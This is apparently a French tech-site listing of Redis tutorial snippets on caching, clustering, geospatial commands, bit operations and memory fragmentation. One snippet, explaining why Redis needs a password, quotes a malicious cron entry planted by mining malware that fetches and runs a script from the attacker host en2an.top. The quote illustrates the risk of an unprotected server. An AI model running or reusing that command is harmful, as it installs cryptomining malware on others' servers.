localisation actuelle:Maison > Articles techniques > base de données > Redis
- Direction:
- tous web3.0 développement back-end interface Web base de données Opération et maintenance outils de développement cadre php programmation quotidienne Applet WeChat Problème commun autre technologie Tutoriel CMS Java Tutoriel système tutoriels informatiques Tutoriel matériel Tutoriel mobile Tutoriel logiciel Tutoriel de jeu mobile
- Classer:
-
- Que signifie la double suppression retardée du cache Redis ?
- Pourquoi le cache est-il supprimé au lieu d'être mis à jour ? S'il s'agit d'une mise à jour, il y a un problème de transaction distribuée, le cache peut être modifié et la modification de la base de données peut échouer. Si vous supprimez simplement le cache, même si la modification de la base de données échoue, la requête suivante récupérera directement les données de la base de données et aucune donnée sale n'apparaîtra. Qu’est-ce que la double suppression différée ? Autrement dit, lors de l'ajout, de la suppression ou de la modification d'une classe d'entité, le cache de la classe d'entité doit être vidé. La position d'effacement est avant et après la méthode de fonctionnement de la base de données. En utilisant la méthode de preuve par contradiction, supprimer d'abord la conclusion, puis la supprimer plus tard, conduit à la conclusion qu'il y a un problème à la fois avec la première suppression et avec la seconde suppression. Par conséquent, la stratégie de double suppression retardée est adoptée. Réflexion 2 : Pourquoi le retard est-il encore une preuve par contradiction ? La situation dans la figure ci-dessous montre la situation dans laquelle l'ancien cache existe toujours après une double suppression. Le délai consiste à garantir que les opérations de changement de cache des autres transactions sont terminées avant de modifier la base de données -> vider le cache.
- Redis 3251 2023-05-26 15:49:51
-
- Quelle est la solution permettant à Java d'exploiter Redis et de définir l'expiration tôt le matin du lendemain ?
- Java utilise Redis pour définir le scénario d'expiration tôt le matin du lendemain. Lors de l'interrogation des données, j'ai rencontré le problème de devoir configurer les données pour qu'elles expirent le lendemain dans Redis. Cependant, Redis n'avait pas d'API correspondante. J'ai dû résoudre le problème par moi-même. Le décalage horaire entre le petit matin du lendemain et l'heure actuelle. Définir le décalage horaire comme heure d'expiration de redis peut obtenir l'effet souhaité. Code/*** Calculer l'heure. différence en secondes entre le petit matin du lendemain et l'heure actuelle *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
- Redis 1458 2023-05-26 15:40:59
-
- Comment utiliser PHP+Redis pour résoudre le problème de la survente de produits en cas de concurrence élevée
- Pour certains sites e-commerce comptant un certain nombre d'utilisateurs, s'ils utilisent simplement des bases de données relationnelles (comme MySQL, Oracle) pour des achats urgents, la pression sur la base de données sera très forte, et si le mécanisme de verrouillage de la base de données n'est pas utilisé correctement , il y aura des problèmes qui entraîneront une survente de produits et de coupons. Mon entreprise a également rencontré le même problème. Le problème s'est produit lorsque les coupons ont été achetés en trop grande quantité. Après que le problème soit survenu, nous avons commencé à réfléchir à des moyens de résoudre le problème. Comme j'utilise beaucoup Redis, je prévois d'utiliser Redis pour résoudre ce problème. . Utilisez les fonctionnalités de haute performance et de transaction de Redis pour résoudre le problème des coupons en ligne récupérés par surstock. Ci-dessous, je donne la première version du pseudo-code que j'ai temporairement résolu ce problème, en supprimant certains détails : /*** Profitez de la remise.
- Redis 1882 2023-05-26 15:31:06
-
- Exemple d'analyse des problèmes d'exécution des commandes de script Redis
- 1. Exécutez dans la ligne de commande redis-cli : #Appelez la commande redis pour définir le cache #Ne transmettez pas le paramètre eval"returnredis.call('set','name1','Tom')"0#Passez en 1 paramètre de valeur eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
- Redis 1593 2023-05-26 15:28:06
-
- Comment installer Redis sur le système Linux
- Redis est une base de données clé-valeur hautes performances. L'émergence de Redis a largement compensé les défauts du stockage de valeurs-clés tel que Memcached, et peut jouer un très bon rôle complémentaire aux bases de données relationnelles dans certaines situations. Introduction à Redis : Redis (RemoteDictionaryServer), le service de dictionnaire distant, est une base de données open source de type journal et de valeurs clés écrite en langage ANSIC, prend en charge le réseau, peut être basée sur la mémoire et persistante et fournit des API dans plusieurs langues. Depuis le 15 mars 2010, le développement de Redis est hébergé par VMware. A partir de mai 2013, le développement de Redis
- Redis 1007 2023-05-26 14:55:14
-
- Comment utiliser le type de données spécial Redis Géospatial
- Le type de données spécial Redis L'espace géographique géospatial a été lancé dans la version 3.2 de Redis. Il peut être utilisé pour calculer des informations de localisation géographique, la distance entre deux lieux, les personnes qui l'entourent et d'autres scénarios. 1. geoadd ajoute l'emplacement géographique spécifié (latitude, longitude, nom) à la clé spécifiée. Ici, vous pouvez utiliser certains outils de requête de latitude et de longitude en ligne pour obtenir des données. geoaddchina: ville121.47264431.231706shanghaigeoaddchina: ville120.61958531.299379suzhougeoaddchina: ville116.4052
- Redis 700 2023-05-26 14:55:06
-
- Quelles sont les trois méthodes de clustering Redis
- Redis propose trois méthodes de clustering : la réplication maître-esclave, le mode sentinelle et le cluster Cluster. Principes de base de la réplication maître-esclave Lorsqu'un nouveau serveur esclave est établi, le serveur esclave enverra une commande SYNC au serveur maître. Après avoir reçu la commande SYNC, le serveur maître exécutera une commande BGSAVE. Lors de l'exécution, toutes les commandes seront. écrit dans le tampon. Lorsque la commande BGSAVE est exécutée, le fichier RDB généré sera envoyé au serveur esclave. Le serveur esclave utilisera ce fichier pour charger les données dans la mémoire. Ensuite, le serveur maître enverra la commande tampon au serveur esclave. serveur esclave au format du protocole de commande Redis. Après cela, chaque fois que le service maître exécute une commande, elle sera synchronisée avec le serveur esclave. Même si plusieurs serveurs esclaves envoient des commandes SYNC au serveur maître,
- Redis 1553 2023-05-26 14:37:13
-
- Quelle est la raison pour laquelle Redis doit définir un mot de passe ?
- Pourquoi Redis doit-il définir un mot de passe ? Vous n'avez pas besoin de définir un mot de passe pour l'environnement intranet, mais il est nécessaire de définir un mot de passe pour les serveurs personnels et les serveurs publics en ligne. Hier, j'ai vérifié la notification d'événement redis de minio, et lorsque j'ai vérifié les clés redis, j'ai trouvé quelques clés étranges supplémentaires. sauvegarde1, sauvegarde2, sauvegarde3. Ensuite, j'ai deviné que c'était un virus minier. Comme indiqué ci-dessous : De cette manière, les tâches et les scripts planifiés sont injectés dans notre machine, et le script init.sh backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top sera commence à être exécuté. /cleanfda/init
- Redis 2305 2023-05-26 14:17:22
-
- Comment utiliser les opérations de bits Redis
- Le code de test Redis dans cet article est basé sur l'environnement suivant : Système d'exploitation : MacOS Version 64 bits : Redis5.0.764bit Mode de fonctionnement : mode autonome Opération de bits Redis L'opération de bits Reids est également appelée opération de tableau de bits et bitmap. Elle fournit quatre commandes. : SETBIT, GETBIT, BITCOUNT et BITTOP Pour manipuler des tableaux de bits binaires. Examinons d'abord une vague d'exemples d'opérations de base Syntaxe SETBIT : SETBITkeyoffsetvalue est : command key offset 0/1 La commande setbit est utilisée pour écrire la valeur de réglage des bits binaires du décalage spécifié dans le tableau de bits. Le décalage commence à compter de 0 à . n'est autorisé qu'à écrire 1 ou 0,
- Redis 2445 2023-05-26 14:14:56
-
- Comment SpringBoot surveille les événements de changement de clé Redis
- 1. Présentation des fonctions La notification Keyspace permet aux clients de recevoir des événements qui modifient les modifications Rediskey d'une manière ou d'une autre en s'abonnant à des canaux ou à des modèles. Toutes les commandes qui modifient les touches clés. Toutes les clés qui ont reçu la commande LPUSHkeyvalue[value…]. Toutes les clés expirées dans la base de données. Les événements sont distribués via les fonctions d'abonnement et de publication de Redis (pub/sub), de sorte que tous les clients prenant en charge les fonctions d'abonnement et de publication peuvent utiliser directement la fonction de notification de l'espace de clé sans aucune modification. Parce que les fonctions actuelles d'abonnement et de publication de Redis adoptent une stratégie fireandforget, si votre programme
- Redis 2631 2023-05-26 13:55:26
-
- Comment utiliser opsForList().range() dans Redis
- Conclusion (veuillez lire ci-dessous pour les données de test spécifiques) 1. Si start-end maintient l'ordre global, il n'y aura aucun problème 2. Selon l'ordre, même startN-1 peut interroger les données 3. Utilisation spéciale : via stringRedisTemplate. .opsForList().range( key,0,-1) peut interroger le premier au dernier index (c'est-à-dire toutes les données) 1. Environnement redis2, code de test : @ResourceprivateStringRedisTemplatestringRedisTemplate;@TestvoidtestRedis(){Stringk
- Redis 2005 2023-05-26 13:46:20
-
- Quelles sont les méthodes de fonctionnement Redis de Laravel ?
- Opération Redis 1. Opération Set/get Opération set/get commune, opération set, si le nom de la clé existe, la valeur d'origine sera écrasée $redis=app("redis.connection");$redis->set('library ' ,'phpredis');//La clé de stockage est une bibliothèque et la valeur de phpredis est enregistrée $redis->get("library");//Obtenir la valeur d'enregistrement de la clé en tant que bibliothèque set/g
- Redis 1436 2023-05-26 13:38:11
-
- Comment créer un cluster Redis dans CentOS7
- 1. Construction manuelle 1. Préparez le nœud CentOS7 et installez Redis Le nombre de nœuds doit être d'au moins 6 pour garantir un cluster complet et hautement disponible (1) Structure de répertoire cluster├──9001│├──data││├─. ─appendonly.aof││ └──nodes-9001.conf│├──redis-9001.conf│└──redis-9001.log├──9002│├──data││├──appendonly.a de│ │└──noeuds- 9002.conf│├──redis-9002.conf│└──redis-9002.log...(2
- Redis 1339 2023-05-26 13:34:06
-
- Comment nettoyer les fragments de mémoire Redis
- Qu’est-ce que la fragmentation de la mémoire Redis ? La quantité totale d'espace restant dans le système d'exploitation est suffisante, mais lors de la demande d'un espace avec une adresse continue de N octets, il n'y a pas d'espace continu de N octets dans l'espace mémoire restant. Ensuite, parmi les espaces mémoire restants, le. l'espace mémoire continu est inférieur à N octets. Comment se forme la fragmentation de la mémoire Redis ? Il existe des raisons internes et externes à la formation de fragmentation de la mémoire : Raisons internes : La stratégie d'allocation de l'allocateur de mémoire détermine que le système d'exploitation ne peut pas réaliser une « allocation à la demande ». Redis utilise libc, jemalloc et tcmalloc pour allouer de la mémoire. Par défaut, jemalloc est utilisé. L'allocateur de mémoire alloue l'espace mémoire selon une taille fixe, et non exactement en fonction du contenu demandé par l'application.
- Redis 1549 2023-05-26 13:18:33
-
- Exemple de traitement de commande Redis, analyse du code source
- Cet article est basé sur la version communautaire de Redis 4.0.81. Analyse des commandes La demande de commande reçue par le serveur Redis est d'abord stockée dans le tampon d'entrée querybuf de l'objet client, puis les paramètres de la demande de commande sont analysés et stockés dans les champs argv et argc de l'objet client. La fonction d'entrée permettant au client d'analyser la demande de commande est readQueryFromClient, qui lit les données du socket et les stocke dans le tampon d'entrée de l'objet client, et appelle la fonction processInputBuffer pour analyser la demande de commande. Remarque : Commandes en ligne : utilisez la session telnet pour saisir des commandes voidprocessInputBuffer(client*c){..
- Redis 1498 2023-05-26 13:10:44